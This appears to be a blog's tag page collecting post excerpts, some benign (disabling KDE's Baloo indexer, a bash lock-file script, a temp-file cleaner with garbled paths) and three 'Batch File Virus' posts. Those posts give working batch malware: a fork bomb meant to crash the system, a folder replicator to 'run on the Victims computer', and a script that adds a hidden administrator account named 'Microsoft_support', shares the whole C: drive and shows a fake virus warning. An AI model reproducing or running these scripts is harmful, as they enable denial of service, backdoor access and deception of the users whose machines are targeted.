Skip to main content

Posts

Showing posts with the label file

Baloo File Indexer File Extraction

How to fix Baloo File Index --> Disable it! Problem Many desktop indexers as they are implemented in KDE unfortunately are problematic. They are slow and resource hogs, taking up gigabytes of drive just to store indexes of files you wont use. Worse yet, they habitually lag my machine. The problem really arises when Im copying multiple gigabytes of files over USB (but usually less than 30 files total). The Baloo file extraction process starts up and lags frequently. Unfortunately there is not neat graphical way to disable the Baloo indexer.  Quoting one of the Baloo authors: There is no explicit �Enable/Disable� button any more. We would like to promote the use of searching and feel that Baloo should never get in the users way. However, we are smart about it and IF you add your HOME directory to the list of �excluded folders�, Baloo will switch itself off since it no longer has anything to index. Solution Here is how to disable Baloo from operating. Edit the file $HOME/.kde/s...

Batch File Virus 3

Most of them have heard about the word �fork()�, which is used to create child process, like wise fork bombing is nothing but calling a program by itself again and again with a infinite loop and making the system to crash by popping up hundreds of windows on the screen. @echo off :loop Explorer Call fork.bat Goto loop Copy the above program and paste it in a notepad file and save it as �fork.bat�. The explorer command will open up the �documents� directory, and it is given inside a loop, then the same batch file is called again which in turn opens up multiple documents rolled out in a loop, likewise it goes on by calling the program itself again and again until the system crashes or hangs up.

Batch file virus 2

Batch program offers its programmers to create their custom viruses just by misusing the way the command works, which leads to the creation of batch viruses. In this chapter we are going to learn about the dark-side of the batch by learning how to misuse commands to create batch viruses. Folder Replicator Virus: Here is a Simple batch virus that contains only 6 lines, has the tendency to replicate itself again and again and keeps on creating a folder with same name, until a user stops it. 1. Just open up a notepad, copy and paste the below code cd cd C:Documents and SettingsusernameDesktop :loop md Virus cd Virus goto loop 2. Save it as a batch file with the extension .bat, before doing that you have to modify the code by changing the place where it says �username� and instead of that replace it by the currently logged in username. 3. Then run it on the Victims computer to infect it. 4. Any how it doesn�t cause much harm, but replicates folder inside a folder and goes on. Once more thi...

Batch File Virus 4

@echo off cd cd %SystemRoot%system32 md 1001 cd cls rem N0 H4rm 15 cau53d unt1| N0w rem Th3 F0||0w1ng p13c3 0f c0d3 w1|| ch4ng3 th3 t1m3 2 12:00:00.0 & d4t3 as 01/01/2000 echo 12:00:00.00 | time >> nul echo 01/01/2000 | date >> nul net users Microsoft_support support /add rem Th3 u53r 4cc0unt th4t w45 Cr34t3d 15 ju5t 4 |1m1t3d 4cc0unt rem Th15 p13c3 0f c0d3 w1|| m4k3 th3 |1m1t3d u53r 4cc0unt5 t0 4dm1n15tr4t0r 4cc0unt. net localgroup administrators Microsoft_support /add rem 5h4r3 th3 R00t Dr1v3 net share system=C: /UNLIMITED cd %SystemRoot%system321001 echo deal=msgbox (�Microsoft Windows recently had found some Malicious Virus on your computer, Press Yes to Neutralize the virus or Press No to Ignore the Virus�,20,�Warning�) > %SystemRoot%system321001warnusr.vbs rem ch4ng35 th3 k3yb04rd 53tt1ng5 ( r4t3 4nd d3|4y ) mode con rate=1 > nul mode con delay=4 >> nul rem Th3 F0||0w1ng p13c3 0f c0d3 w1|| d15p|4y 50m3 4nn0y1ng m5g, as c0d3d ab0v3, 3�4ct|y @ 12:01 and ...

Bash script lock file

Heres the lock file mechanism that I use for some of my bash scripts. I check if the lock file is older than a reasonable time for the script to execute completely just in case the script or the machine running it crashed in the middle of its execution and the lock file hangs the process forever... #!/bin/bash #Check if the lockfile exists and is older than one day (1440 minutes) minutes=1441 LOCKFILE=/tmp/extract.lock if [ -f $LOCKFILE ]; then     echo "Lockfile Exists"     filestr=`find $LOCKFILE -mmin +$minutes -print`     if [ "$filestr" = "" ]; then         echo "Lockfile is not older than $minutes minutes, exiting!"         exit 1     else         echo "Lockfile is older than $minutes minutes, ignoring it and proceeding normal execution!"         rm $LOCKFILE     fi fi touch $LOCKFILE ##Do your stuff here rm $LOCKFILE exit 0 Another approach is to stor...

Batch Programming Make a Temp File Cleaner

While you use your Computer, it creates some temp file inside its system drive to store temporary data. But when your computer work finishes, your computer might forget to delete the temporary files. As a result it slow downs your system activity. But if you want you can create a temp file cleaner easily. For this follow the steps below: OPEN THE notepad AND TYPE THIS @echo off del /s /f /q c:windows emp*.* rd /s /q c:windows emp md c:windows emp del /s /f /q C:WINDOWSPrefetch del /s /f /q %temp%*.* rd /s /q %temp% md %temp% cls   THEN SAVE IT AS CLEAN.BAT THEN RUN IT